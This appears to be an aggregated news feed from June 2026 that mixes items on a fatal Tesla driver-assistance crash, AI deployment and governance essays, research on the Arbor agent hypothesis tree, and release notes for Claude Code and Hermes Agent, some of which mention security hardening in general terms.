Driver told authorities he had driver-assistance technology engaged before crash that killed 76-year-old Martha Avila

The US government has opened a second federal investigation into a recent crash of a Tesla that reportedly had driver-assistance technology engaged, struck a Texas home and killed a resident.

Meanwhile, the family of Martha Avila, the 76-year-old resident who was killed, has sued over the wreck.

Charlie Kirk’s legacy is a 30-year sentence for moving zines

Wed, 24 Jun 2026 23:48:22 +0200

Just days after a gunman killed conservative activist Charlie Kirk, it became clear that President Donald Trump would use the assassination to fuel a crackdown on free speech. To avenge Kirk's death, the administration vowed to go after so-called "antifa" (otherwise known as antifascist) terrorists. Now that promise is bearing fruit. This week, eight Texas […]

Seeking Justice the Day After SCOTUS Killed the Alien Tort Statute

Wed, 24 Jun 2026 21:08:13 +0200

As surely as day follows night, survivors will continue their quest for justice and accountability. The Supreme Court’s decision marks the end of an era, but a new dawn awaits.

The post Seeking Justice the Day After SCOTUS Killed the Alien Tort Statute appeared first on Just Security.

v2.1.187

Tue, 23 Jun 2026 23:16:43 +0200

What's changed

Added sandbox.credentials setting to block sandboxed commands from reading credential files and secret environment variables
Added org-configured model restrictions to the model picker, --model, /model, and ANTHROPIC_MODEL, with a "restricted by your organization's settings" message when a restricted model is selected
Added mouse click support to select menus (permission prompts, /model, /config, etc.) in fullscreen mode
Fixed --resume failing with "No conversation found" when the original -p run produced no model turns
Fixed --json-schema and workflow agent({schema}) structured output: the model can no longer re-call StructuredOutput indefinitely after a successful call, and follow-up turns now reliably return structured output
Fixed remote MCP tool calls that hang with no response for 5 minutes — they now abort with an error instead of blocking indefinitely (override with CLAUDE_CODE_MCP_TOOL_IDLE_TIMEOUT)
Fixed Claude Code Remote sessions taking ~2.7s longer to start after the agent proxy CA system-trust install was added
Fixed pasted Korean/CJK text turning into mojibake in terminals that deliver paste as per-byte extended-key events
Fixed /update over Remote Control hanging when a startup trust dialog would have shown
Fixed background jobs in the agents view getting stuck in "working" indefinitely when the agent ended a turn without producing structured output
Fixed channel connections dropping after navigating to the agents view and back, and after /bg, /tui, or /update
Fixed agent stop notifications not correctly attributing who stopped the agent, and improved wording ("finished"/"stopped" instead of "came to rest")
Fixed subagent depth tracking: resumed subagents now restore their original spawn depth, and forked subagents now count toward the depth cap
Fixed leaked agent worktree registrations: locked .git/worktrees/ entries from killed agents are now cleaned up automatically
Fixed Cmd+click not opening URLs in fullscreen mode in Ghostty on macOS
Fixed claude --help not listing the --bg/--background flag
Fixed Esc, Ctrl-C, and Ctrl-D not working while /share is uploading
Improved /install-github-app: GitHub Actions workflow setup is now optional — you can install just the GitHub App and skip the workflow/secret steps
Improved /btw with ←/→ arrow navigation to step through earlier answers
Improved /plugin to surface plugins you haven't used recently so you can clean them up
[VSCode] Fixed extension becoming unresponsive when resuming a large session

AI Killed the 5-Year Roadmap

Tue, 23 Jun 2026 21:19:00 +0200

Author: Security Weekly - A CRA Resource - Bewertung: 1x - Views:20

Traditional identity and security programs were built around long planning cycles. In this clip, the speaker argues that agentic AI has broken that model because organizations can no longer reliably predict how systems and AI-driven workflows will evolve.

Instead of static roadmaps, companies may need continuous identity assessments, adaptive governance, and shorter planning horizons. The challenge is especially difficult for executives trying to balance innovation with operational control and accountability.

The comparison to COVID highlights the speed and unpredictability of change — not just technically, but organizationally.

As AI agents begin making decisions and taking actions autonomously, security programs may need to operate more like ongoing risk management than fixed transformation projects.

Can enterprises still build long-term security strategies when AI systems evolve every few months?

Subscribe to our podcasts: https://securityweekly.com/subscribe

#IdentitySecurity #SecurityWeekly #Cybersecurity #InformationSecurity #AI #InfoSec

Tesla Crash That Killed a Texas Woman Will be Investigated by Federal Regulators

Tue, 23 Jun 2026 01:02:46 +0200

The car’s driver-assistance system was in use when the crash killed a woman on Friday, the police said.

Microsoft is building a 2-gigawatt data center in Texas with its own gas plant to dodge the grid

Mon, 22 Jun 2026 19:04:23 +0200

Microsoft is building a roughly 2-gigawatt data center campus in Pecos, Texas, one of the biggest single capacity adds in its history. In an open letter, the company promises stable power prices and minimal water use, directly addressing the local backlash that has killed dozens of data center projects across the US.

The article Microsoft is building a 2-gigawatt data center in Texas with its own gas plant to dodge the grid appeared first on The Decoder.

Why your AI pilot died in a data ownership meeting, not the demo

Mon, 22 Jun 2026 12:08:01 +0200

I have sat in enough post-pilot reviews to know how this story ends before anyone says a word. The pilot worked. The demo went well. The executive team was genuinely impressed, and someone in that room used the word “scale.” There was real energy. Leadership was aligned, the business case was solid and the timeline looked achievable. Then three months passed. Then six. The deployment is still pending, the original team has scattered and the business has quietly concluded that IT is great at demos and slow at everything that follows.

I am not describing a technology failure. I am describing what happens when an AI initiative arrives at an organizational problem that predates it by years and finds no one with the authority to resolve it.

What killed the deployment was the meeting nobody planned for. It happened sometime after the pilot ended and before anyone had agreed on who owned the data the model needed to operate in production. I have watched this sequence play out often enough to stop treating it as a project management gap. It is a structural one, and it was waiting long before the first model was ever trained.

The data question nobody ever had to answer

Most enterprises have been managing data ownership ambiguity for decades. It was survivable because the technologies they relied on could work around it. A BI team could pull a clean extract for the quarterly report. A data warehouse could house a copy of the customer record without anyone deciding who was responsible for keeping it current. Shadow IT could build departmental workarounds that served specific needs without ever touching the underlying question of where authoritative ownership sat. Data was treated as a byproduct of operations, managed by whoever built the system that produced it, with no named owner accountable for its accuracy or use.

The cost of that arrangement was low enough, for long enough, that it never forced a decision. In many organizations I have worked with, asking who owns a specific dataset produces three different answers depending on who you ask. That was tolerable when the stakes were a dashboard that was sometimes wrong. It stops being tolerable when a production AI model is making workflow decisions or customer-facing recommendations based on whatever that dataset happens to contain on a given day.

Putting a model into production that operates on live customer data, contract language or financial records requires someone to make binding calls about access rights, update protocols, data lineage and accountability when the underlying data is wrong. Those are not technical decisions. They are organizational ones. They require a business owner who will stand behind the data, with the authority to make and enforce decisions about how it is used, updated and governed. The data debt that accumulated across years of deferred ownership decisions does not disappear when a pilot succeeds. It surfaces when you try to scale.

Organizations that had resolved this before their first AI deployment did not have better technology. They had usually been forced into the conversation by something else entirely: a regulatory exam, a failed ERP migration, a data breach that made the question of accountability suddenly expensive. The organizations that had not resolved it discovered what the ambiguity costs when AI made it impossible to defer any longer.

What the meeting looks like and what it costs

Here is how the meeting tends to go. The CIO or a project lead convenes the stakeholders whose data the production deployment will require. Sales says they own the customer relationship data, but Legal says the underlying record is a shared asset subject to retention policy. The data engineering team says they manage the pipeline but do not make ownership decisions about what flows through it. The CDO, if one exists, says any governance change requires a committee review and a documented policy update. Nobody is technically wrong. That is exactly what makes it so difficult to move.

What follows is usually a working group, a governance charter and an executive sponsor who was not in the room when the pilot was approved. These are not bad things, but they take time and they consume organizational energy that nobody budgeted for when the pilot looked like a clean success. The AI project is now waiting on an organizational redesign question that predates it by a decade.

I have seen this stall run six months. I have seen it run considerably longer. During that time, the CIO absorbs questions from the business about why the technology that worked so well in the demo is not yet live. The honest answer is that the organization is working through a governance question that the business itself has never resolved, but that answer does not land well in a status update. What the business experiences is an IT initiative that worked in a controlled environment and then stopped. That perception accumulates. The CIO who delivered an impressive pilot is now the CIO who cannot seem to execute.

By the time the data question is settled, the original business champion has often moved on to other priorities. The vendor relationship has cooled. The momentum that existed in the room after the demo is gone, and rebuilding it requires re-educating stakeholders who have already withdrawn. Each deployment that stalls this way makes the next proposal harder to fund and harder to staff with the business partners who matter.

The cost is not only the delayed deployment. It is the credibility spent in the gap and the reduced appetite for the initiative that comes after it.

What the CIOs who got through it actually did

The CIOs I have seen navigate this well made one consistent choice: they resolved data ownership before seeking approval to expand scope, treating it as a prerequisite the deployment required rather than something the deployment would eventually sort out. They forced the data conversation into the open at the level where binding decisions could actually be made. They brought it forward as a business decision, routed to whoever held authority over the relevant business processes and did not move forward until they had genuine alignment, the kind that would hold when the first access request actually landed.

Some of them used the pilot phase deliberately to surface the ambiguity. They ran the pilot on a constrained, clearly-owned dataset and watched where the ownership questions appeared as they tried to expand access. They documented those specifically. By the time they were presenting pilot results to the executive team, they had a clear account of the organizational work the deployment would require alongside the technical work. They did not present this as a problem. They presented it as part of the plan, which is what it is.

That approach requires more work before the first executive briefing. It is significantly faster in aggregate, and it changes what the CIO is accountable for. Framing the data conversation as a business decision, at the beginning, means the CIO is no longer absorbing blame for a governance failure that belongs to the organization. The deployment either moves forward with ownership settled or it does not move forward at all, and everyone in the room understands why. The organizations that skip this conversation tend to find out what it costs about four months after the demo. Some of them find out several times before they change the sequence.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

„House of the Dragon“ Staffel 3 ist da: Wann kommt Folge 2 auf HBO Max und WOW?

Mon, 22 Jun 2026 08:47:41 +0200

TX Tesla Kills One in Crash Into Home

Mon, 22 Jun 2026 05:53:40 +0200

The New York Times covers the crash. A driver in a Tesla vehicle that was engaged in automated driver-assistance mode crashed into a house in Texas on Friday night and killed a woman inside, the authorities said. The driver, Michael Butler, was in a Tesla Model 3 about 8 p.m. local time and operating the … Continue reading →

Founders Fund’s outlier bet on humanely killed fish

Sat, 20 Jun 2026 20:32:33 +0200

Shinkei makes a refrigerator-sized robot called Poseidon to kill fish quickly and humanely.

I dived into my digital past to revisit my most cringe teenage moments – and realised how lucky I am to not be young and online today

Sat, 20 Jun 2026 07:17:43 +0200

Twenty years ago I briefly became the victim of a viral pile-on – all because of a silly YouTube video. But I’m glad I had the chance to embarrass myself and move on. Are today’s teens so fortunate?

As a teenager, I went kind of viral – and the most amazing thing about that is it had absolutely zero effect on my life. It was the summer holidays in 2006, and my friends Jessie, Emma and I decided to film ourselves singing along to our favourite song. We were overheated and hyperactive, jumping up and down and headbanging, stretching our arms to the heavens as we confessed to our mamas that we’d “just killed a maaaaaan” before asking Scaramouche if he’d do the fandango.

Later, I added a couple of captions to the video implying we were drunk, even though I was 14 and the closest I’d been to buzzed was the pure placebo of clutching a glass bottle of J2O. Then – for reasons that are now lost to me – I uploaded the video to YouTube a month later, on 19 September 2006, under the title “Bohemian Crap-sody”.

Researchers grow a hypothesis tree for AI coding agents

Sat, 20 Jun 2026 00:18:27 +0200

AI coding agents can tend to isolate research, running experiments and generating ideas that are then forgotten when context windows reset. This can waste tokens, as models then repeat the same mistakes and hit the same dead ends.

But new research argues that it’s not the model itself, but the overarching ‘tree,’ that needs tweaking. To that end, data scientists from the Gaoling School of Artificial Intelligence, Renmin University of China, and Microsoft Research have introduced Arbor, a “persistent hypothesis tree” that helps agents remember and refine learnings over long research sessions.

A long-lived coordinator manages research strategy across the tree, while short-lived executors spin up isolated worktrees to test different hypotheses. As results come back, the tree updates, narrowing and refining throughout experimentation.

In practical tests, this technique delivered more than two-fold performance gains over standard AI coding agents across real-world engineering tasks, for the same budget.

This is because, said Mahmoud Ramin, a research director at Info-Tech Research Group, “Arbor accumulates information over time and allows agents to build upon prior discoveries just as humans do, through learning, adaptation, and eventually building upon what they have learned in the past.”

How Arbor grows

Arbor’s builders argued that longer execution on its own does not guarantee research progress. The challenge is maintaining a state that turns many individual attempts into “cumulative hypothesis refinement.”

Further, progress should not depend on human overseers regularly stepping in to dictate logical next steps or interpret the meaning of previous trials, they noted. To be truly autonomous, agentic research frameworks must maintain connections between experiments, data, results, and failures over time.

Arbor is built to fulfill three system requirements. First, it must be able to branch as sub-trees test out competing hypotheses that are all potentially plausible. At the same time, unrestricted branching can degenerate the whole framework, so that must be controlled to remain organized. The researchers call this “branching with coherence.”

Second, the infrastructure must separate local execution from overarching strategy. Testing out single hypotheses requires short-horizon tasks like editing, debugging, and evaluation. But these should not “obscure” the larger tree making decisions based on evidence gathered across the whole run.

Finally, the systems must be able to distinguish exploratory improvement from verified improvement. This prevents AI from overfitting during trial-and-error instead of iteratively learning from underlying patterns.

Persistence is at the core; the tree links hypotheses and ideas, the code or configuration artifacts used to test them, experimental evidence (results, metrics), and distilled insights (such as “this data filter helped, but this learning rate scheduler didn’t”).

Once a project kicks off, shorter-execution work trees run code, log their work, and collect metrics. The long-lived coordinator above them serves as the de-facto head of research, keeping an eye on the process, updating nodes, selecting “promising leaves,” pruning or merging branches, propagating reusable lessons, and deciding which hypotheses to pursue next.

“The tree therefore acts as the operational research state of the system,” Arbor’s builders wrote. “It is simultaneously the search frontier, the memory of past attempts, and the audit trail for verified artifact improvement.”

Outperforming Codex and Claude on new data

To test how well this process works, the researchers evaluated Arbor in an autonomous optimization (AO) setting: the agent was given an initial research artifact (a data pipeline, harness, or training script) and was tasked with improving its “held-out performance” through iterative experimentation, without human steering. Held-out performance is a machine learning (ML) metric that evaluates how well models are able to generalize on data they haven’t seen before.

The tree-based architecture was tested on several real research tasks across model training (its ability to improve training recipes and hyperparameters), harness engineering (how well it can upgrade evaluation or training harnesses), and data synthesis (its capacity to generate better data for training or evals).

Ultimately, Arbor outperformed the average held-out gains of Codex and Claude Code by 2.5x, for the same resource budget.

The takeaway, said the researchers: Keeping a structured, evolving hypothesis tree yields greater performance improvements than running the same models as ‘memoryless’ coding agents.

Arbor’s most innovative feature is its ability to maintain the agent’s memory and retain relevant data from prior attempts and hypotheses, Info-Tech’s Ramin pointed out, and, he said, “the next step for autonomous agents may be accumulating evidence over time.”

However, this does raise concerns about the auditability of robust research environments at a large scale, he noted. “As autonomous agents become more capable of performing work without human operators overseeing them, enterprises will need transparency into how and/or why an agent took a specific action or reached a certain conclusion.”

Hermes Agent v0.17.0 (v2026.6.19)

Fri, 19 Jun 2026 21:46:52 +0200

Hermes Agent v0.17.0 (v2026.6.19)

Release Date: June 19, 2026
Since v0.16.0: ~1,475 commits · ~800 merged PRs · 1,693 files changed · 235,390 insertions · 50,730 deletions · 300+ issues closed · 245 community contributors

The Reach Release. v0.16.0 put Hermes on your desktop. v0.17.0 is about how far that reach extends — across new places to talk to it, deeper into the tools you already use, and out to the people running Hermes for a team. Hermes reached two new channels (iMessage via Photon, and the Raft agent network), the desktop app gained substantial new capability, subagents can now run in the background, image generation learned to edit, and Cursor's Composer model is reachable through an xAI Grok subscription. The dashboard got a full profile builder and secure login, the Skills Hub browser was rehauled, the memory tool got a major upgrade, and the curator stopped spending aux-model budget on every routine run. 300+ issues closed ride along, plus a security round.

✨ Highlights

Hermes reaches iMessage — Photon Spectrum, no Mac relay required — There's now an iMessage platform plugin built on Photon's managed line pool. Run hermes photon login, authenticate with a device code, and Hermes can send and receive iMessage — no Mac sitting in a closet running a relay, no BlueBubbles bridge to babysit. It's positioned as the successor to BlueBubbles: free to start, nothing to self-host. If your friends and family live in the blue bubbles, Hermes lives there now too. (#32348, #42582, #44713 — @teknium1)
Raft — Hermes joins the Raft agent network as a gateway channel — A new bundled Raft platform adapter lets Hermes connect to Raft as an external agent through a wake-channel bridge. Set RAFT_PROFILE, run the bridge, and Raft can wake Hermes to handle messages — with a privacy-by-contract design where wake payloads carry only metadata (event IDs, timestamps), never message bodies. Another surface where Hermes can show up and do work. (#48210 — @xxchan, @teknium1)
A substantially more capable desktop app — v0.16.0 shipped the desktop app; v0.17.0 deepened it across dozens of PRs. Rebindable keyboard shortcuts, native OS notifications with per-type toggles, live subagent watch-windows that stream a delegated agent's activity into its own pane, a composer model selector with per-model presets, automatic RTL/bidi text direction, a resizable VS Code-themed terminal pane, per-thread composer drafts, and the ability to install any VS Code Marketplace theme directly into the app. The desktop is now a serious daily driver, not a preview. (#45866, #40660, #47060, #46959, #43292, #44596 — @OutThisLife, @teknium1)
Background / async subagents — delegate work and keep going — delegate_task(background=true) now dispatches a subagent that runs in the background and returns a handle immediately. You and the model keep working while it churns, and the full result re-enters the conversation as a new turn the moment it finishes. Kick off a long research dive or a multi-step build, then carry on with something else instead of sitting blocked waiting on it. (#40946, #46968 — @teknium1)
Edit images, not just generate them — image-to-image in image_generate — image_generate can now edit and transform a source image, not only create one from scratch. Pass an existing image and a prompt and it routes to the backend's edit endpoint (same tool, same pattern as video_generate), across every supported image provider. "Make this logo blue," "remove the background," "turn this sketch into a render" — all from the tool you already use. (#48705 — @teknium1)
Automation Blueprints — schedule things without learning cron — Pick an automation by name and Hermes asks you for what it needs — no cron syntax, no slot=value typing. One blueprint definition renders natively on every surface: a form in the dashboard, a slash command in the CLI/TUI/messenger, a conversation with the agent, an entry in the docs catalog. "Daily news briefing at 8am" becomes a thing you set up by answering questions, not by memorizing 0 8 * * *. (#41309 — @teknium1)
Cursor's Composer model, through your xAI Grok subscription — grok-composer-2.5-fast is now in the xAI OAuth model picker, with its context window reconciled to the full 200k. Composer is the fast coding model behind Cursor — and if you have an xAI Grok subscription, you can now point Hermes at it directly over OAuth, no separate API key. Your Grok plan, Hermes's agent loop, Composer's coding speed. (#47908, #6f89e17 — @teknium1)
Full profile builder in the dashboard — Build a complete Hermes profile from the browser — pick its model, choose its skills, attach its MCP servers — without hand-editing config.yaml. The dashboard also unified multi-profile management into one machine-wide view with a global profile switcher, so you manage every profile from a single place. (#39084, #44007 — @teknium1)
Skills Hub browser rehaul — The dashboard's Skills Hub got a ground-up rework: connected hubs, a Featured section, full skill previews before you install, and a security scan on each skill. Browsing and installing skills from the trusted taps (OpenAI, Anthropic, HuggingFace, NVIDIA) is now a real browsing experience, not a flat list. (#40384, #43398 — @teknium1)
The memory tool got a major upgrade — atomic batch operations — The memory tool gained an operations array that applies a batch of add/replace/remove edits atomically against the final character budget. The model can free up space and add new entries in a single call — even when an add alone would overflow the budget — collapsing what used to be a fragile multi-turn dance into one reliable operation. Memory updates are now faster and far less likely to fail mid-edit. (#48507 — @teknium1)
Secure dashboard login — The dashboard's authentication was hardened: every token-required endpoint now correctly returns 401 behind the OAuth gate, websocket auth uses the served dashboard token, and a warning fires when a public_url override is silently rejected. Exposing your dashboard to the network is safer by default. (#42578, #42578 — @benbarclay, @teknium1)
Official WhatsApp Business Cloud API adapter — Alongside the existing Baileys bridge, Hermes now speaks the official WhatsApp Business Cloud API — Meta's first-party, hosted, no-bridge-process path. Point it at your Business API credentials and Hermes talks WhatsApp through the supported channel, with no QR-scanning bridge process to keep alive. (#44331, #43921 — @jquesnelle, @teknium1)
Rich text for Telegram — Bot API 10.1 rich messages — Telegram replies now render as proper rich messages via Bot API 10.1: better formatting, cleaner long-message handling, native markup instead of flattened text. It's on by default with an opt-out, so your Telegram conversations look the way they should without any configuration. (#44829, #45584, #45953 — @teknium1)
Curator cost optimization — no aux-model spend on routine runs — The skill curator now prunes stale skills by default but no longer runs its LLM-powered consolidation pass unless you opt in (curator.consolidate: true or hermes curator run --consolidate). The deterministic inactivity sweep keeps running for free; the opinionated, aux-model-spending "build umbrella skills" fork is now off by default. Routine background curation costs you zero tokens. (#47840 — @teknium1)

🖥️ Hermes Desktop App

New surfaces & UX

Rebindable keyboard shortcuts panel; native OS notifications with per-type toggles; curated turn-completion cue + dismissable error banners (#40660, #45866, #42480, #47985 — @OutThisLife, @teknium1)
Live subagent watch-windows — stream a delegated agent's activity into its own pane; composer status stack + editable prompts; open any chat in its own window; new-session-in-compact-window hotkey (#47060, #44630, #43219, #46951 — @OutThisLife, @teknium1)
Composer model selector + per-model presets + external-provider disconnect; surface every provider/model from hermes model in the GUI; unify provider list to one source; warn when a main-model switch leaves auxiliary tasks pinned elsewhere (#46959, #40563, #49080, #40286 — @teknium1, @OutThisLife)
Install any VS Code Marketplace theme; assignable themes per profile; window translucency slider; unified overlay design system + BrandMark + onboarding redesign (#43292, #42286, #45086, #40708 — @teknium1, @OutThisLife)
Resizable VS Code-themed terminal pane + palette polish; auto-detect RTL/bidi text direction in chat; Mac-style session switcher (^Tab / ^1-9); worktree-aware sidebar grouping; hover-reveal collapsed sidebars; messaging source folders in sidebar (#42521, #44596, #43111, #45273, #41670, #41751 — @OutThisLife)
Arrow-key history + queue editing in composer; expand full command inline from the approval bar; follow-streaming-at-bottom + jump-to-bottom button; first-class cron jobs in the sidebar + dashboard scheduler (#40234, #44864, #45263, #40684 — @OutThisLife, @teknium1)
Desktop pets — pop-out overlay + notifications (#47938 — @teknium1)
Full tool-backend config (pickers + per-backend settings) in Settings; run tool-backend post-setup installs from the GUI; uninstall the Chat GUI without removing the agent; Shift+click status-bar zap to toggle YOLO globally; /browser connect on a local gateway (#41232, #40559, #40355, #41666, #47245 — @teknium1, @OutThisLife)
Japanese + Traditional Chinese language switching (#40114)
"Restart gateway" action (renamed from "Restart messaging") surfaced in the statusbar + on messaging save/toggle toasts; rendered logs are selectable/copyable (#49094 — @OutThisLife)

Remote-gateway & multi-profile

Remote media relay — attach images/PDFs and display agent-written images over the network for the first time; remote-gateway file attachments via file.attach (#41336, #42634 — @teknium1)
Client + backend version buttons + remote-backend update flow; browse remote backend files; route global-remote profile REST calls; recover chat after sleep/wake by revalidating a stale remote backend (#42181, #44326, #47011, #41350 — @OutThisLife, @teknium1)
Multi-profile fallout cleanup — WS auth + cross-profile session reads; release profile backends before delete; scope session list/model switch/timer per session (#44529, #42613, #41103, #41120, #41182 — @OutThisLife, @teknium1)
Stream subagent activity into watch windows; keep streaming painting in unfocused secondary chat windows; recover stranded session windows (#47060, #47919, #47655 — @OutThisLife)

📊 Web Dashboard

Full-featured profile builder (model + skills + MCPs); unify multi-profile management — one machine dashboard + global profile switcher; profile-scoped skills & toolsets; session switcher panel on the Chat tab (#39084, #44007, #43808, #49077 — @teknium1)
Skills hub browser rehaul — connected hubs, featured, preview + security scan; SKILL.md editor on Skills page + attach-skill selector in cron modals; full per-MCP catalog detail; full tool-backend config in the GUI (#40384, #44231, #48520, #40418 — @teknium1)
Enable webhooks from the Webhooks page; idempotent hermes dashboard register; auto-restart gateway after Telegram QR onboarding; file browser; change UI font from the theme picker; reasoning-effort picker in the chat sidebar (#44021, #42455, #43424, #43512, #41145, #49141 — @teknium1)

🏗️ Core Agent & Architecture

God-file refactor wave (run_agent.py / cli.py / gateway/run.py)

cli.py main() 3297 → 954 lines — extracted 28 subcommand parsers into hermes_cli/subcommands/, then promoted 9 closure handlers; 32 slash-command handlers → CLICommandsMixin; 18 model-flow wizard functions → model_setup_flows; agent-construction cluster → CLIAgentSetupMixin (#41798, #41835, #41942, #42174, #42153 — @teknium1)
gateway/run.py 19157 → 15870 lines — 42 slash-command handlers → GatewaySlashCommandsMixin; authorization cluster → GatewayAuthorizationMixin; kanban watcher loops → GatewayKanbanWatchersMixin (#41886, #42159, #41849 — @teknium1)
run_agent.py turn loop — extracted prologue into TurnContext, post-loop tail into finalize_turn, consolidated inner-retry-loop recovery flags into TurnRetryState (#41778, #42169, #41828 — @teknium1)

Agent loop, prompt & tools

memory batch operations — atomic add/replace/remove array against the final char budget, so a single call can free space and add entries (#48507 — @teknium1)
search_files lossless densification — headroom evaluation report + the one densification improvement worth shipping (fewer tokens per result, same matches) (#47866 — @teknium1)
Removed the agent-callable send_message tool; coding-context posture across CLI/TUI/desktop/ACP; read_file extracts .ipynb/.docx/.xlsx to text (#47856, #43316, #37082 — @teknium1)
Context-file handling: configurable truncation limit + warnings; scale context-file cap to model window + point agent at the truncated file (#47251, #47846 — @teknium1)
Compression: temporal anchoring in compaction summaries; raise compaction trigger to 85% for gpt-5.5 on Codex OAuth (#41102, #40957 — @teknium1)
Adaptive middleware (consumed by NeMo-Relay observer telemetry); usable mid-turn steer — desktop affordance + trusted injection (#29724, #40240 — @teknium1)

Provider & model support

New models: z-ai/glm-5.2 (verified 1M context, OpenRouter + Nous), anthropic/claude-fable-5, laguna-m.1 + nemotron-3-ultra, xAI Composer 2.5 in the OAuth picker; default xAI to grok-build-0.1 (#47391, #45695, #42979, #42629, #47908, #47371 — @teknium1)
Model picker: Refresh-Models control to bust stale cache; persist Nous recommended-models to disk + fall back on Portal failure; seed catalog disk cache from checkout on update; MiniMax-M3 reports true 1M context (#48691, #42628, #42614, #43338 — @teknium1)
Anthropic adaptive models: default to modern thinking contract; never send reasoning field; route reasoning_effort to verbosity; require confirmation for very expensive selections (#42991, #43012, #43436, #43391 — @teknium1)
Auth: auto-detect OpenRouter credential from the pool; keep Codex OAuth pool accounts distinct on add/re-auth; resolve xAI OAuth across profiles + write rotated tokens back to root; honor model.default_headers for custom OpenAI-compatible providers (#42263, #42316, #46614, #41096 — @teknium1)
Bedrock falls back to non-streaming InvokeModel when IAM denies the streaming variant; Ollama default max_tokens=65536; surface model refusals as content_filter (#44293, #41694, #46013 — @teknium1)

Sessions, state & multi-agent

Optional max session cap; drop empty sessions on CLI exit and rotation; ACP session-provenance metadata for compression rotation (#42389, #43855, #41724 — @teknium1)
Delegation: resolve custom-endpoint subagent pools by endpoint identity; remove the default subagent wall-clock timeout; stop subagent completion lines leaking into parent CLI display (#41730, #45149, #44223 — @teknium1)
Kanban: config-gated auto-subscribe on kanban_create; machine-global singleton lock for the embedded dispatcher; pin assigned profile toolsets for workers; hold reclaim while worker still alive (#48635, #49068, #45590, #49064 — @teknium1)
Memory: configurable Hindsight retain observation scopes; OpenViking setup UX; Honcho gateway-gated identity tree; Supermemory session-level ingest (#46611, #48262, #44431, #38756 — @teknium1, @alt-glitch)

📱 Messaging Platforms (Gateway)

New channels

iMessage via Photon Spectrum — hermes photon login (device-code OAuth), gRPC-native channel (no webhook), markdown rendering, emoji reactions, outbound media via spectrum-ts (#32348, #42582, #44713, #42397 — @teknium1)
WhatsApp Business Cloud API adapter (official, no bridge process) (#44331, #43921 — @jquesnelle, @teknium1)
SimpleX — groups, native attachments, text batching, auto-accept; Raft bundled platform plugin with activity hooks (#42584, #48210 — @teknium1)

Gateway core & rendering

Render terminal tool calls as native bash code blocks on markdown platforms; bare fenced code blocks in chat; optional message timestamps for LLM context; configurable tool_progress_grouping (#41215, #42576, #47253, #47228 — @teknium1)
Telegram: Bot API 10.1 rich messages (now always-on with opt-out); opt-in Online/Offline bot status indicator; stop cutting long streamed responses; MarkdownV2 on progress edits; gate oversized voice/audio before download (#44829, #45584, #49134, #43761, #44245 — @teknium1)
Discord: propagate role_authorized so DISCORD_ALLOWED_ROLES works end-to-end; recover from runtime gateway task exits; cancel _bot_task on connect failure; stop typing after replies (#43327, #44383, #44432, #44836 — @teknium1)
Slack: scope top-level channel messages when reply_in_thread=false; thread approval UX (block-size overflow + typed-prefix); make video attachments available to agents; register_slack_action_handler plugin API (#41703, #43444, #45512, #44664 — @teknium1)
Replied-to media attachments included; document attachments classified as DOCUMENT on Signal/Email/SimpleX/Teams; WhatsApp restarts stale bridge processes; Matrix room-context isolation; QQbot CPU-spin fix; Weixin rate-limit circuit breaker (#46107, #44695, #44205, #18505, #40574, #41718 — @teknium1, @banditburai)

🖥️ CLI, TUI & Setup

/version slash command; /billing interactive terminal billing (TUI + CLI); show time since last final agent response on the status bar; persist resolved approval/clarify prompts in scrollback (#40214, #45449, #44265, #44702 — @teknium1)
Lock hermes worktrees so concurrent processes can't clobber them; display custom profile alias names in list/show; clone profiles from any source (#48699, #40371, #45630 — @teknium1)
Opt-in structured profile-build path on first contact; configurable per-platform system-prompt hints; configurable background memory/skill notifications (#41114, #48630, #47226 — @teknium1)
TUI: interactive Plugins Hub enable/disable overlay; session name in the terminal titlebar; paint approval/clarify/sudo/secret modals directly (not via throttle); wrap long approval commands instead of truncating (#42965, #43188, #41155, #44691 — @teknium1)
TTS: Gemini persona prompts + audio tags; xAI auto speech tags + speed/streaming knobs; Piper speaker_id; OGG for Telegram auto-TTS (#43442, #49061, #49062, #49060, #41644 — @teknium1)

🔧 Tool System, Skills & MCP

image-to-image / editing in image_generate across all backends; shrink images to provider dimension limit (#48705, #45979 — @teknium1)
MCP: official Unreal Engine 5.8 MCP server in the catalog; elicitation handler so MCP servers can prompt for mid-tool-call confirmation (payment/OAuth) on whichever surface owns the session — CLI/TUI/Telegram/Slack; expose late-connecting MCP tools to the agent between turns (cache-safe); keepalive ping for short-TTL HTTP sessions; block exfil-shaped / suspicious stdio configs before probe; capability-gate tools/list so prompt-only servers connect; preserve stdio argv passthrough + Windows env vars (#48397, #49203, #49208, #49221, #46083, #44550, #44324 — @teknium1, @lgalabru)
Skills: simplify-code skill (parallel 3-agent code review & cleanup) + risk-tiered application with Chesterton's Fence; find & diff user-modified bundled skills; optional payments skills (Stripe Link, MPP, Projects); CLI-based shop skill; live per-source browse progress (#41691, #49070, #48286, #31343, #47309, #43398 — @teknium1, @colinwren-stripe)
Curator: make skill consolidation opt-in (prune stays default-on) (#47840 — @teknium1)
Plugins: install from a subdirectory within a repo; accept browser-pasted GitHub URLs in hermes plugins install; session:compress lifecycle event + thread_id/chat_type in agent:start/end context (#42963, #33539, #47252, #41672 — @teknium1)
Memory/skill write approval gate (default off) — boolean write_approval replaces the tri-state write_mode (#38199, #43354 — @teknium1)

🌐 Fleet, Relay & Automation

Managed scope — administrator-pinned, user-immutable config & secrets from a root-owned /etc/hermes (#49098 — @teknium1)
Multiplex all profiles over one gateway process (opt-in) (#48273 — @benbarclay)
Pluggable CronScheduler + Chronos managed-cron provider (scale-to-zero) (#48275 — @benbarclay)
Automation Blueprints — parameterized automation templates across every surface (#41309 — @teknium1)
Gateway-Gateway relay (phases 0-3): relay adapter + capability descriptor, connector⇄gateway channel auth + signed-HTTP inbound + enroll CLI, WS-only inbound, managed-boot self-provision client (#48078, #48147, #48294, #48242 — @teknium1)

🐳 Docker, Nix & Installer

s6: detect supervisor directly for gateway restart; register profile gateways without auto-starting; persist desired state; clear stale log locks (#46290, #46266, #46292, #46289 — @teknium1)
Docker: optimize image size (.dockerignore, drop dev deps, split layers); pre-install matrix deps; supervised gateway uses --replace; harden hosted install tree against self-modification (#38749, #42413, #47555, #47490 — @teknium1)
Nix: cold npm build fixes + auto-fix-lockfiles workflow; hashless npm deps via importNpmLock; refresh npmDepsHash after Electron 40.10.2 pin (#41867, #48883, #48457 — @teknium1)
Installer: clear unmerged git index before autostash; scope install-method stamp to the code tree (#45515, #48188 — @teknium1)

🔒 Security & Reliability

Fail closed on own-policy gateway adapters; fail closed for approval-button auth on Slack/Feishu/Discord when no allowlist is set (#45634, #41226 — @teknium1)
